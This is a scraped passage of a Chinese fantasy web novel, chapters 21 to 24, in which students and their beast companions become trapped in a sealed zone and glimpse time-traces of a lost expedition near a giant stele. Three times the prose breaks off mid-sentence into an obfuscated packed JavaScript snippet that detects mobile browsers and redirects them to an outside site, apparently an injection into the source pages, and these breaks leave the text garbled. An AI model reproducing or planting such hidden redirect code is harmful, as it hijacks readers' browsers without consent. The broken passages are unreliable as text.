阿灰日常也喜欢灾兽肉偏多,能量块和觉醒兽粮更是次选。 “凑合下?” 扈可为把能量块凑近阿灰的喙部,得到了阿灰的一个白眼。 “没办法,我们就只有这些了。” 眼瞧着自家召唤者粗心大意,阿灰转头找上了陆燃竹。与对自己召唤者直白粗鲁不同,小灰鸡讨好、又轻柔地扯了扯少年的衣服,见人看过来,又柔柔地叫了一声。 闻声,陆燃竹摸了摸它的头。 “阿灰饿了?” 灰鸡点头:“咯咯。” “那你想吃什么?” 陆燃竹笑笑说,他从背包里翻找,随后当着扈可为的面没有顾及地掏出早上制作的料理,把还保持温热的菜肴摆在阿灰面前。 见陆燃竹如此识趣,阿灰心情大好。 它先是高兴地咯咯叫了两声,拍了拍少年表示自己一定会罩着他的,又斜睨了一眼错愕的扈可为,随后便头也不抬地埋进碗里。 “燃竹你别太溺爱阿灰了。” 扈可为哭笑不得,伸手狠狠摸了阿灰一把,又关心地问:“你眼睛没事吧?” 陆燃竹摇头:“没事,只是看着骇人而已,信息过载是这样的。” 他现在已经能控制自己眼睛读取的信息量,偶尔才会出现现在的症状。 闻言,扈可为不赞同地晃了晃手指,“不痛也很吓人的好吧。你别忘了你手臂上还有几个窟窿呢。” 他的视线从少年无奈的脸上掠过,停在另一边还在吃的阿灰身上,忽然想起之前被自己遗忘的那个问题。 “你和阿灰,是怎么样找到我的?” 几个小时陆燃竹那个问题回荡在他的耳边。一些被自己遗漏的细节也在此时此刻清晰地在他脑子里复盘。 阿灰的能力图谱里面并没有嗅觉加强的那一项,尽管它的确要比一般的鸡,啊不,禽类灾兽嗅觉灵敏一些,但也做不到隔着数百或者上千米来嗅到陆燃竹身上的气息。还有刚刚与劫掠者战斗前阿灰嘴里嚼着的东西。 如果他没看错的话,燃竹递给阿灰的东西,就是他平日捣鼓的料理。 两次品尝过燃竹料理之后的阿灰,身上都会有奇异的能力增幅。一个是嗅觉增强,一个是力量增强。 时间长短不定,但变化确确实实在吃完食物之后。 得出这个结论,扈可为的视线转移到陆燃竹摸着阿灰的手上,早上自己说过的话此刻就像回旋镖一下正中靶心。天赋不一样的锻炼方式会碰撞出不一样的火花。这句课堂上被他当玩笑的话再次在他面前验证。 这让扈可为一时间说不出话来,他开口想问燃竹知不知道这样的效果,又后知后觉。 少年没打算瞒他。 之前没有,现在更是连遮掩都不遮掩。 看着自家觉醒兽吃得正欢的模样,男生张了张嘴,良久,忽然低头一笑。 他这突然的笑声让陆燃竹侧目看过来,“你怎么了?” “没。”扈可为笑得开朗,“我就突然心情很好,很庆幸我来了泗黑崖。” 陆燃竹:“……” 接连两次遇到不明物,这还庆幸? “对了。”扈可为伸了个懒腰,“你有没有打算之后去上学,兄弟我看你骨骼精奇,定然是个好苗子。” 之前因顾及而犹豫的话题,男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338398|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在是半点都不纠结了。 他兴致勃勃:“你来当我学弟呗,到时候我带你到处转转,我罩着你!” 上学? 陆燃竹没想到扈可为会提这个话题。 这个话题,他想过,但也只是想过而已。 金勺勺闻言也出声道:“对呀,宿主。反正现在我们赚的钱也够生活了,有钱买营养补充剂了,也能吃饱了。” “去上上学也挺好的。” 受前几任宿主的影响,美食开拓系统对宿主上学这件事情很是推荐。 更何况他也查过了,现在觉醒联盟对觉醒者的科学引导都是在各个觉醒学院里面。宿主老是乱来,这样对身体不好。 自家系统的小心思陆燃竹没听出来,好友和勺勺的话让他再次关注这个很久很久之前就想过的话题。 上学嘛…… 他发现现在的他好像也可以想想这个方向的未来了。 扈可为见陆燃竹没有脸色不虞,更畅所欲言了。 “学费的事情你倒是不用担心,我们那搞外快的途径多了去了。” “你喜欢用做料理的方式锻炼天赋,到时候直接把做出来的菜都放到我们专业去,保准赚钱!” 御兽天赋类的觉醒者都把自家觉醒兽当宝贝一样呵护,在伙食上也费尽心思。 扈可为脑袋转得相当灵活,絮絮叨叨罗列了一大堆赚外快的法子。 陆燃竹听着,顿然也明白扈可为反应过来了,不然也不会提料理这茬。没有明说,但一些话也好像不需要太过直白。 他笑笑:“你就这么笃定我能进你们学校,中央联盟学院可不好进。” 联盟第一的学院,陆燃竹还没这样的自信。 “你别不信我,我可拥有一双慧眼,绝不会看错。”扈可为夸夸其谈,“要是我们成功逃出生天,就去觉醒协会!你不是还没测试等级吗?两个多月,正好看看!” 他越说越兴奋,陆燃竹则是越听越无奈。他连忙喊停,制止某人天马行空的畅想。 “停停停!你还是先忙你自己的期末考核吧。” “还有,你别说这话。”少年搓了搓自己的肩膀,“我老觉得这话从我们俩嘴里出来,不是什么好事。” “……倒也是。” 两人聊着天,不一会,就见眼前的灾兽群开始减少。 见状,陆燃竹和扈可为也起身,打算试试能不能往回走。少年收起地图,正当他迈出角落阴影时,眼角余光突然瞥见了隐隐的光芒。 他在意地转过身,就见距离他们不远处的地方,突然出现了一道篝火。 篝火笼罩着微光,在少年的眨眼中越发清晰,徐徐飘起的炊烟,与这混乱之地格格不入。 陆燃竹一时分不清那是自己天赋看到的景象,还是肉眼存在的事实。 他微微抬手,手指指向那个方向。 “勺勺,你看得到那里的……” 没等他说完,眼前的景象又多了新的变化。 他稍稍瞪大双眼。 “燃竹,我好像看到人了!” 一旁的扈可为忽然兴奋地拉住好友,他这一句,让陆燃竹原本想要问金勺勺的话戛然而止。 “可为,你看到了?” 卷发少年看着不远处的骤然出现的人影,语气疑惑又带着点兴奋。他没转过身,盯着那处篝火附近人影的穿着怔怔出神,也没发现扈可为与他朝向的方向根本不是同一个。 下一刻,两人几乎同时出声。 “你看到那篝火旁的人了?” “当然了,我看到那里打斗的动静了!” 牛头不对马嘴,两人话音刚落便猛回头看向彼此,表情都是一致的迷茫和错愕。 陆燃竹:? 扈可为一愣,连连摆手,他指着两人正欲前进的方向,“我说的是那里,我看到打斗的光了。” 解释完他才回味过来陆燃竹的话。 “哪里?哪里的篝火?” 他探头想要看向少年刚刚正面的方向。 然而一道熟悉的声音从天而降。 “篝火?什么篝火?” “你们两个是等糊涂了吗?这破地方,除你们两个小可怜,我可没看见有其他人。” 陆燃竹应声抬头,只见熟悉的三人立在半空,血腥味与朝气并存。 英姿飒爽,透露出年轻一代的光辉。 22. 第 22 章 第22章 “沉学长!” 看到来人,扈可为惊喜地大喊,他朝着空中的三人招手,喜悦之情溢于言表。 一旁的陆燃竹也没想到那三人真的会来,少年礼貌性地朝三人点点头。 少了遮挡眼睛的刘海,他和初见时给沉尧的印象更是大相径庭。 半长发男生优雅落地,眼底带着几抹惊奇看着睁着一双大眼睛的陆燃竹,满意地点点头,他一手糊上了扈可为的头,不客气地问:“想着去哪啊?不老老实实等着?” 扈可为嘴甜,闻言嘿嘿一笑。 “这不,看到学长学姐打斗的声音,想去迎接吗?” “少贫嘴。” 沉尧习惯了他的技俩,糊在男生头上的手狠狠揉乱了扈可为的头发。 一旁的诸墨和靳洲则是一左一右站在陆燃竹身旁,两人眼里都带着打量,一个看少年的眼睛,一个看少年的手臂。 诸墨耿直,见此直言道:“受伤了?是信息过载吗?” “对,但已经……” 陆燃竹正想说没事,却见站在自己旁侧的俊美男生突然手一翻,几颗光珠在他手腕盘旋,不一会就转到自己的手臂上,焕发着绿光。 这突如其来的举动让少年吓了一跳。 他犹豫地想要把自己的手臂从绿光下移开,而靳洲治疗的速度要比他想象中快,不到五秒,男生收回了光珠。 陆燃竹讶异自己伤势的恢复速度,他下意识转动下自己的手臂,视线在那消散的光珠上停留了一秒,随后认真地向靳洲道谢。 “谢谢你,靳前辈。” 闻言,靳洲点了点头,他脸上还是一贯的没有表情,淡淡回了句。 “没事。” 另一旁的诸墨掏东西的动作慢了一秒,她的视线在靳洲上面停留了一瞬,随后又落在少年的眼睛上。 她拿出一个玉瓶,瓶口是滴管设计,小巧又轻便。 “医疗中心的眼部缓解药水,你先缓解下眼睛。”诸墨说话间带着点关心弟弟的语气,看向少年的眼神也跟看族内的弟弟一样,连塞东西的动作都做出一种霸道的感觉。 陆燃竹手忙脚乱地接过,接连收到两人的好意,他一时不知道怎么面对。 正想回绝,诸墨却转身走开,走到空地上去看深山处的情况。 走过来的沉尧见少年表情无措,上前轻拍陆燃竹的肩头。 “放心收下,诸墨把你当族内弟弟看了。” “可……”他这话让陆燃竹更不能接受手里的药水,他并不是银叶族人。 只是没等他上前归还,盯着人看的靳洲突然又转移了话题。 “刚刚你说的篝火?是什么?” 他这话顿时聚集了所有人的注意。 陆燃竹也想起这件事情,他先是转身看向自己发觉的那个方向,再次确认自己没有看错之后,便抬手指着那处篝火。 “那里,有三个人正围坐在篝火旁边,两男一女,身上的穿着不似我们现在。” 少年确认自己看到的不是现实,用简洁的语言描绘那里的景象,而其余四人看着那空无一人的角落,在他的描述中表情越发怪异。 沉尧费劲眯着眼也看不到少年描述的人和物。 他犹豫地问:“真假?” 扈可为则是认真地点点头,对好友描述的情况深信不疑,甚至仔细询问细节。 而最先问的靳洲眼睫微动,他像是在少年的描述中敏锐地察觉到什么。只见熟悉的巨眼幻像在他背后展开,颜色闪动的同时,一幅令人惊异的投影顿时在众人面前展开。 十分模糊的投影中,少年刚刚描述的景象正闪频似地一一呈现。 三人,一篝火。 看不清面容但确实真实存在。 沉尧见状惊讶出声,他熟悉同伴的能力。 “这是时空痕迹?” 靳洲点了点头。时空痕迹是考古学上的描述,因逆觉醒流因子的特殊性,一些感知类的天赋觉醒者时常能在遗迹里看到以前人的生活投影。 无法交互,也没有声音,却是跨越时空的再现。 也正因如此,陆燃竹眼睛看到的东西也能被靳洲的幻象所具象化。 只不过投影太过模糊,那三人衣服上的细节都看不清。 沉尧的话解读了陆燃竹和扈可为的疑惑,见自己看到的东西也能被靳洲的能力所具象化,少年对男生顿生好奇。 靳洲能感受到那双漂亮的眼睛在他的身上转了一圈。只是当他循着视线回望过去,少年的视线又无声地移开。 诸墨从时空痕迹被具象化之后就没有说话,她盯着那三人身上模糊的穿着,喃喃道:“我怎么觉得这三人有些熟悉,我好像在哪里见过……” 沉尧:“历史书上?” 诸墨:“也不是……” 哪里见过? 陆燃竹闻言上前几步,他走到时空痕迹旁边,对三人的穿着和面貌都仔细观察一遍,越看深入,他也突然觉得有些熟悉起来。 金勺勺建议道:“宿主,不如你共享下你的视角让我看看?” 美食开拓系统近来收集了众多费斯拉大陆的常识,如果能看清那三人,从而进行数据检索的话,想必也会有很多的帮助。 “可以看到吗?” “只是几秒的话还是可以的。” 系统升级后也增加了很多新功能,几秒钟的同频虽然耗费能量值很多但也不是做不到。 在征求宿主的同意后,金勺勺也很快检索出这三人的身份。 看着金勺勺反馈的信息,陆燃竹手一顿,他总算知道那抹熟悉感从何而来了。 在过渡区和交易区之间的宣誓广场上,就摆着这三人的雕塑。 他们是驻守泗黑崖的几位先辈觉醒传奇,也是当年,探索剧变源头的远征队。 是迄今为止,距离剧变真相最近的人。 三百年前,号称空前绝后的最强八人组义无反顾地奔往剧变源头,他们是新世界的开拓者,也是寻找真相的先锋。尽管他们的结局是全员失踪,但途中所创造的一切是觉醒联盟更进一步的根基。 数百年来有不少觉醒者追寻着他们的脚步,却未曾发现远征队当年的终点。 只有探索路上留下的踪迹,在诉说那最强八人组实力的冰山一角。 深不可测 ,空前绝后。 “他们是最辉煌的天才八人。” 面对这样的结果,陆燃竹既震惊又有些一丝无语。原因无它,宣誓广场上的雕塑与本人实在是十分不符,要不是一些明显的武器特征对得上,陆燃竹都不相信勺勺检索出来的结果。 除去一些核心特征,其余压根就对不上号! 一旁的诸墨还在苦思冥想,她正想向少年问问细节,就见陆燃竹表情怪异,少年转过身来犹豫着说,“他们有点像远征八人。” 远征八人? 众人一愣,再次看向靳洲幻化出来的屏幕,模糊在此刻起了效果,他们精准地抓住模糊人影的核心特征,一一对上后扈可为和沉尧恍然大悟地拍了拍手心。 “还真是!” 巨炎剑娄丞,拳使岑莺以及治愈之笛奚存剑。 眼前几人与这几位觉醒传奇都对得上号。 可远征八人的方向是北方,虽然泗黑崖有过他们的足迹,但可控区813的位于偏南的位置,这附近的区域考古界从未公开过他们的痕迹。 更何况他们现在是在地下。 这是怎么回事? 几人面面相觑,几乎都是同时看向深山之中。 陆燃竹和靳洲同时转头,少年眼底泛起荧光,他看向那虚幻的通天石碑,心底不详的预感更甚。 这地方处处显露着古怪,连同那其他人看不到的石碑也与当初可控区752完全不同。 他定了定神,伸手把自己刚刚绘制的地图展露在靳洲三人面前,用精简的语言接着描述自己所看到的一切。 劫掠者的石块、中央的通天石碑,以及汇聚的能量风暴。 少年的担忧和谨慎透过话语提醒着靳洲三人。 三人盯着地图没有说话,为首的靳洲看着地图上少年详细的批注,抬手接过那份地图。 一旁扈可为眼含忐忑,他紧张地关注着靳洲他们的表情。 十分相信好友的他有些担忧靳洲他们会不信少年的话。 然而他并没有捕捉到三人表情上的迟疑。意识到情况的严重性,沉尧和诸墨对视一眼,随后看向靳洲。 他们在等靳洲的意思。 “先送你们离开。” 俊美男生果断道。他没有往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338399|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的深山再看一眼,见此,沉尧和诸墨都露出果然如此的笑容。沉尧更是一把揽住扈可为,笑嘻嘻地道:“好了,等会你就能看学长我打斗的英勇身姿了。” “啊?其实学长学姐你想先前进也可以的,我和燃竹可以自己撤退的。” 没想到靳洲他们会说出这番话,扈可为挠挠头说道。 陆燃竹沉默地点头,如今附近的灾兽群都往深山里去,他和扈可为完全可以自己离开,不必让靳洲他们浪费时间来护送他们。 他告诉靳洲他们这里危险,也只是为了提醒而已。 只是靳洲三人却不这么想,既然可控区813如今正在倾向危险那一边,他们就不能让陆燃竹和扈可为两人自己回去。 看出两人还想商量,诸墨:“我们不会放你们自己回去的。” 她手一挥,正想喊沉尧一起架起两人。 强烈的震感突然从深山中央传来,霎时间地动山摇。 陆燃竹正巧站在石块上,被这一晃骤然朝旁侧偏去,眼看就要失去平衡,身旁的靳洲一把揪住他的衣领,把人往他的方向拽。 等少年被他揽住腰扶住,就见原本澄澈的天空忽然阴云密布。 雷声轰鸣,一声带着奇异频率的尖啸从深山中央传来。 闻声,靳洲三人突然脸色大变。 他们齐齐抬头朝天看去,果不其然看到了那天顶展开的淡红色光壁。 那是朝天龟的能力,领域封锁。 朝天龟,防御型灾兽,其能力是领域封锁,能构造迷惑兼具防御的结界光壁,结界内外各事物的出入由朝天龟自主决定。 按常理说,这种能力并不难解决,一般朝天龟释放前都有很长的蓄力阶段,只要及时打断便可化解。 但显然,这头朝天龟的等级不低,靳洲他们还没见到过范围如此广的领域封锁。 无法在蓄力阶段打破,现在剩下的方法就是找到并击杀朝天龟。 勉强站稳的沉尧:“这也太倒霉了吧……” 早不来晚不来,偏偏在他们准备送陆燃竹他们离开的时候来。 只是倒霉的好像不止这一刻。 震动停歇的那瞬间,陆燃竹都没得及远离身侧人站稳,那双紫眸就捕捉到那道源自石碑处的冲击波。 淡黄色的光晕无声地出现在空气之中,以越来越快的速度朝外部扩散。 少年瞪大眼睛看着那光晕拂过的灾兽群,排在前头的灾兽群根本来不及反应,一些等级低的灾兽在眨眼间便化成了血雾。 眼瞧那光晕越来越近,陆燃竹反手抓住靳洲的衣襟。 “危……” 口中危险二字还未道出,一道凭空显现的龙鳞墙骤然出现在几人的前侧。 砰—— 似是一声钟响。 龙鳞墙荡出层层微光,下一刻,陆燃竹众人身侧的灾兽群纷纷爆开,血雾泼洒开来,顿时染红了少年震惊的脸颊。 他匆匆抬头,就见被自己抓着衣襟的男生一脸平静,他那变成竖瞳的眼睛低头对上陆燃竹的视线,似是无情,瞳孔中的裂纹与少年眼底的星光同频闪烁。 让陆燃竹第一次哑了嗓子。 血滴从那人脸上滴在在自己脸侧,温热又让陆燃竹顿生一股毛骨悚然的感觉。 他突然像个幼狼一样打了个颤。 “我去!” 同样被吓了一跳的沉尧护着扈可为,他擦去身上被溅到的血迹,警惕地看向周围。 “靳洲,发生了什么?” 俊美男生没有说话,金色龙影盘旋在他身后,部分皮肤上隐隐浮现出金色的鳞片。他抬头观察着头顶朝天龟的领域封锁范围,身侧的龙鳞墙依旧稳稳护在众人身前。 陆燃竹则是抬手擦去脸上的血迹。 他极为缓慢地眨了眨眼,眼尾淌下血泪的同时,他的低喃声替靳洲回答了沉尧的疑惑。 “回不去了……” 什么意思? 几人循着少年的视线往深山之中看去,顿时瞪大了双眼。只见原本空无一物的半空中,骤然出现了一块通天石碑。 石碑古朴,宛若倒置的天碑,悬在深山中心的上空。 轰隆—— 雨滴随着雷声滴落在陆燃竹眼皮,少年清晰地意识到。 雨下大了。 23. 第 23 章 第23章 当朝天龟的领域封锁出现的时候,申定刚好带人赶到了可控区813。 看着那骤然出现的淡红色光壁,一行人都止住了脚步,申定身侧属于泗黑崖可控区管理中心的负责人更是震惊道:“这么大范围的领域封锁,可控区813怎么会有这等等级的朝天龟。” 申定倒不意外,有能屏蔽灾兽的不明物在前,管理中心发现不到并不是什么重大失误。 只是他没想到事态的发展会这么快。 从接收到消息到赶到现场,不过二十分钟整个可控区813的情况就变成现在这样。 “人员的撤离怎么样?” “申传奇放心,在朝天龟的领域封锁出现之前,我们就接到消息,已有九成的觉醒者顺利从可控区内撤离。” 几个月可控区752的突发情况给了泗黑崖警醒,现如今通知觉醒者撤离的流程简洁高效,从发出警告到现在,撤离的情况还算明朗。 九成…… 申定严肃的神情并没有因此而缓和,他飞到光壁面前仔细感知其蕴含的能量,几息之后,心下已有打算。 虽然费点时间,但不是不能强行突破。 只是还没等他开始解析结界,手触碰的光壁内似乎传来了一股强烈的震动。 申定猛然抬头看向结界之内,剑眉之下,那双豹眼凌厉至极。 底下的人只见申传奇站在朝天龟的领域封锁前似乎在观察什么。下一刻,男人周身突然涌现强烈的威压,一声沉喝之后,金光乍现,耀眼的天钉顿然从申定身上浮现,干净利落地飞驰到整个可控区上空。 随后,铮鸣和轰响一同响起。 众人只觉眼前金光一闪,待回过神来时,头顶天钉几经轮转,他们骇然发现,在朝天龟的领域封锁之外,属于申定展开的天钉罩已无声地覆盖住整个可控区813。 “这是怎么回事!?” “申传奇这是做什么?” 不解的讨论声在人群中蔓延,而下一秒,答案便清晰地摆在他们的面前。 无形的震荡波从光壁内透出撞击在天钉罩上,轰然发出强烈的巨响。强烈的震感甚至让离得较近的低级觉醒者手脚发麻。 跟着来的检测站人员见状立马架设仪器。 看清仪器上所检测到的数据,检测人员震惊道:“可控区内部存在奇怪的能量源!” 闻言,相关天赋的觉醒者疾步上前加速仪器的检测过程。 待结果一出,众人脊背一凉,满脸后怕。 “震动的能量波没有明显的时间规律,但随着距离的增加其蕴含的能量越强。” 距离越远,能量越强? 这等威力还能加强吗? 假若刚刚没有申传奇及时做出行动,那任由这震荡波传播出去,周围会怎么样,泗黑崖……会怎么样? 他们不敢细想。 一旁跟着来的白芬也满脸严肃,她看着一脸慌乱的检测人员,厉声道:“现在不是慌乱的时候,检测人员盯紧里面的能量变化,其余人!加快恢复可控区内的通讯网!” “是!” 暂时安排完一切,白芬才看向头顶坐镇在天钉罩中央的申定。 天钉罩,是护城罩。 一经开启,使用者便不可移动。 数十年前,金豪申定以这一招护住南部联盟一座即将被灾兽群踏平的边境城市,也因此而闻名整个联盟。 而如今,成为十大传奇末位的申定再次拿出这成名招。 这可控区813内究竟发生了什么? 另一边,改变计划的靳洲几人正在赶路。 震荡波的规律,处于局中的靳洲五人也很快理清。朝天龟的领域封锁加上异常的震荡波,这让靳洲三人原本想要折返送陆燃竹两人离开的计划也彻底泡汤。 回不去,就只能往前走了。 狭长的地缝无声中连接了深山中心与外围,密密麻麻的小型灾兽宛若迁徙一般前行,朝圣的队伍就像整齐的方阵,本该整齐严密,却在队伍后头被突兀劈开了一个口子。 尖刀般的缺口从尾端一路往前奔袭,以势不可挡的趋势,一路掀飞周遭挡路的灾兽。 砰砰响声和四溅的鲜血成为“尖刀”存在的证据。 但若凑近听,也可以听见有人说话的声音和滚滚的车轮声。 “哎嘿!第四十头!” “四十八。” 在阿灰的隐身效果下,陆燃竹五人挤在一辆银色的钢铁战车,正飞速往石碑处奔驰。扈可为驾车,靳洲和陆燃竹坐在车架的前头,中枢阿灰稳稳坐在正中央。 沉尧和诸墨排在偏后方的左右侧,此刻两人正在较劲,比拼谁掀飞的灾兽更多。 银发女生一拳一个,在沉尧炫耀的报数声缓缓出声。 而听到自己足足落后诸墨八个,沉尧连忙喊住前头驾车的扈可为。 “可为,往我这边偏偏,照顾照顾你学长我啊。” 他打着商量,前头身兼重任的扈可为闻言却手忙脚乱地擦了擦自己头上的汗水:“学长,这路就这么窄,我偏也偏不了啊。” “要不你和诸学姐换换位置?” 诸墨:“不换。” 沉尧:“你看,她不换。” 两人幼稚的斗嘴,让夹在中间的扈可为头都大了。 你们倒是照顾照顾我啊,我要开车啊! 一不小心就是车毁人亡,你们能不能像靳学长和燃竹一样稳重配合呢! 男生疯狂在心底默默吐槽,倚在他身后的阿灰眨巴着豆豆眼,十分赞同地点点头。 而被冠以稳重一词的陆燃竹和靳洲,倒也不像扈可为认为的那样全神贯注,在又一次提醒靳洲开龙鳞墙阻挡震荡波后,陆燃竹再次把目光停留在那越来越多的时空痕迹上。 越靠近石碑,属于远征八人的时空痕迹就越多,也越短。 从刚开始的篝火三人,到后续的四人、五人。 此地所显现出来的时空痕迹似乎开始连贯成一个故事,似乎重现着几百年前某一个时间点确切发生的事情。 “勺勺,你记录下来了吗?” “当然!你就放心吧宿主。” 美食开拓系统信心满满,借着能短暂同频的功能,它把陆燃竹需要记录的一切都完全地记录下来了,在现实世界里面帮不了宿主,但它也能替宿主分担分担。 这样的小事,金勺勺做得到! 细碎的信息点在系统智能的归纳下逐步清晰简明,美食开拓系统在后台看着那一点点被耦合的故事,原本轻松的表情顿然变得疑惑起来了。 “宿主……这时空痕迹……好像有点不对劲啊。” 陆燃竹:“?” 不对劲,有什么不对劲之处? 金勺勺没立即解答,它看着目前最新出现的时空痕迹,注视着那五人驻足抬头看天的动作,骤然毛骨悚然起来。 那五人的动作,此刻就跟宿主一模一样。 他们也在看什么东西? 看什么? 金勺勺沙哑了声音:“……宿主,他们,好像也在看石碑。” 这句轻飘飘的话语,让陆燃竹猛然抬头,他看着眼前越来越清晰的石碑纹路,对眼部天赋能力的克制隐隐动摇,像是有什么东西在争夺输入端的控制权。 不,不是争夺,而是周围可以被他感知的信息量越来越多了。 多到,他开始控制不住的程度。 陆燃竹顿时冷汗浸湿了后背,眼前的视野在他意识到的瞬间开始变得扭曲。 他抬手捂住自己半只眼,空余的手猛地拽住了身侧的靳洲。 强烈的疼痛让他压根出不了声,只能靠动作来提醒震荡波的到来。 少年突然的异常让靳洲皱紧了眉,俊美男生一手扶住他颤抖的身体,一边竖起龙鳞墙阻挡接踵而来的震荡波。 滴答—— 血液滴落的轻响混杂在战车冲出地缝的轰鸣之中。 狭窄的视角豁然开朗,当靳洲看清少年满脸鲜血的那一刻,石碑下众灾齐聚的压迫景象也霍然呈现在众人眼前。 扈可为拉动手刹,险险把战车停在了一头小山般的灾兽嘴前。 他张大嘴巴,仰头看着周围的一切。 “我勒个去。” 在这片灾兽主宰的生态地前面,他们五个人就如蝼蚁般那般渺小。 不同于寻常可控区的景况,如今的这片区域,就像那资料之外记录的未知区,危险神秘。 “陆燃竹?” 靳洲扶着还在颤抖的少年,宽大的手掰正少年的脸,在发现他鼻部也开始渗血后,他猛然伸手想把那双眼合上。 却又被少年挡住。 “没事,我缓缓就好。” 陆燃竹深吸一口气,就算闭着眼睛他也能感受到此间气场的怪异。 见他把脸擦得一塌糊涂,靳洲沉默地接过他手里的手帕,掰正脸一点点地擦。 男生深知少年那极强的边界感,他一边用手隔开少年再次推阻的动作,一边转移话题问。 “你看到了什么?” 一旁的扈可为几人也围了过来,扈可为看到好友满脸都是血,慌了神在包里翻来翻去,试图找些什么伤药来缓解。 而靳洲已然把少年放在兜里的药水滴入陆燃竹的眼部。 下意识眨去药水,陆燃竹成功被男生的问题转移了注意力,他张了张嘴,试图理清自己刚刚看到的一切。 “时空痕迹。远征的先人,似乎和我们一样,也在看头顶的石碑。” 他竭力克制声音的颤抖,接着说:“石碑,也好像和不明物的能量痕迹有些不太一样。” 闻言,靳洲几人转头观察起四周。 或许是离石碑很近,随着距离增长而增强的震荡波没了刚刚的威力。 只见诺大的旧林场空地上,聚集了数不清的灾兽群,整齐划一,却纷纷都没有争斗的痕迹,就如朝圣的信徒,匍匐又寂静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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扈可为拨弄着手里的树枝,他皱着眉深呼吸几下,发现胸口的压迫感仍旧没怎么缓解,忍不住问。 闻言,被勒令闭目养神的陆燃竹正想睁眼,坐在他对面的诸墨抱胸咳嗽了一声。 银发女生掏出储物工具里的检测器,打开看了眼显示屏上的数字。 “这里的逆觉醒流浓度已经到达一个有些危险的程度,你感到呼吸困难是正常的。” 她边说着边看着附近的灾兽群,乌泱泱的一大片在黑夜里就像石像一般,远看着骇人,近看更吓死个人。 灾兽是逆觉醒流的宠儿,逆觉醒流浓度越高,它们越舒适。更何况它们本身便是逆觉醒流的释放源头之一,这里有这么多,浓度的攀升也属实正常。 沉尧也明白这一点,他仰头喝了一口水,仔细询问了下扈可为的症状。 听了男生的形容,他轻啧一声。 “这提升的速度有些不对劲啊。” 他们才刚刚坐下来不到十分钟。 觉醒石能源能暂时为觉醒者提供一个过滤和抵挡逆觉醒流的作用,但所起效的功能也不是百分百。一旦逆觉醒流浓度超过一定的界限,那它的效用只会越来越弱。 他们五个人,除去先天对逆觉醒流存在抗体的诸墨和陆燃竹,剩下就属扈可为等级最低。现在他开始感到不适,那么接下来就会轮到他和靳洲。 “不能继续在这待下去了。”沉尧看向诸墨,“等靳洲查探回来,我们要不就先回撤到浓度低的地方,再接着寻找朝天龟。” 外面虽然有震荡波,但逆觉醒流浓度应该远远低于这里。 扈可为和陆燃竹等级低,先找个安全的地方安置他们再继续找朝天龟也不迟。 他们来时也通知了联盟,想必很快就会有增援。转移到那里去,或许会更加安全些。 闻言,诸墨也赞同地点点头,她正欲起身去寻外出查探的靳洲,还没完全起身,就瞧见俊美男生迎着雨快步走来。 火光逐渐照亮了男生深邃的眉眼,沉尧三人见他回来连忙站起来,却看到了男生微微皱起的眉头。 “怎么了?” 熟悉队友的沉尧和诸墨赶忙问道。 “找到朝天龟了?” 靳洲摇了摇头,他先是看向慢了一拍才睁开眼睛的少年,对上了那双微微疲倦的眼睛,才沉声道:“那头朝天龟应该躲到地底了,现在这个位置没法大范围探查。” “而且,外部的震荡波强度增强了,连同这里的逆觉醒流也有隐隐往外扩的趋势。” 他这句话一下让沉尧两人噤声,原先的建议也失去了商量的必要。 陆燃竹更是呼出一口热气,看向那石碑之下。 无论寻找朝天龟还是外扩的逆觉醒流和震荡波,他们好像从异变开始后就被逼着朝前走。 被逼着,朝石碑那走。 24. 第 24 章 第24章 最后一抹晚霞散去后,此间除去中央石碑散发的微光之外再无其他光亮。 陆燃竹跟着靳洲小心地迈过一只安眠的小型灾兽,他身边是一头巨头蟒半掩的竖瞳,硕大的晶状瞳孔泛着嗜血的冷光,明明距离如此之近,这头巨头蟒却跟陷入冬眠一样,没有丝毫反应。 就连呼吸喷洒到它的眼皮,它那半掩的眼睛也眨动一下也没有。 太过安静了。 再次跟着避开某头灾兽的尾巴,卷发少年回头看着他们走了快一半的道路,在黑黢黢的环境中,那些如山脉连绵的灾兽群静穆得像一座座石像,充满死寂的气息,但呼吸的频率却始终存在。 “这些灾兽到底是怎么回事?” 抱着阿灰的扈可为也忍不住低声问,怀里的阿灰精神恹恹,灵觉灵敏的它早被此间诡异的氛围弄得萎靡,小鸡头一点一点,一双豆豆眼彻底失神。 他身后的沉尧没有立即回答。 他们三人的神情从踏入灾兽群开始就变得异常凝重,不发一言。排在最后的诸墨抬头看了一眼头顶的通天石碑,沉吟半响后开口道—— “学院五年级的时候会有一堂通史课,由桑灵凤老师教授的。” 银发女生的声音在静谧的环境里小声又清晰。 桑灵凤,是如今在中央联盟学院就职的一位预言天赋觉醒圣域,她专攻远征八人那段历史,是考古界颇具盛名的专家。 扈可为知道她,他的通史课都是由她教的。 